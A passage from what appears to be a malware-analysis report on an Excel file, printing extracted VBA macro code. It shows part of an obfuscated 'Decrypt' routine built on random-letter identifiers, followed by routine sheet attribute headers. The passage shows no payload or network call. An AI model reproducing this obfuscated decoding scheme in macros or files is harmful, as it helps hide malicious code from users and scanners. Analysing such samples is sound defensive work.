Decrypt = Decrypt & Mid(JPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEO, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1)
Case Else
Decrypt = Decrypt & WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE
End Select
Next
For nn = 1 To Len(enc)
Next
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.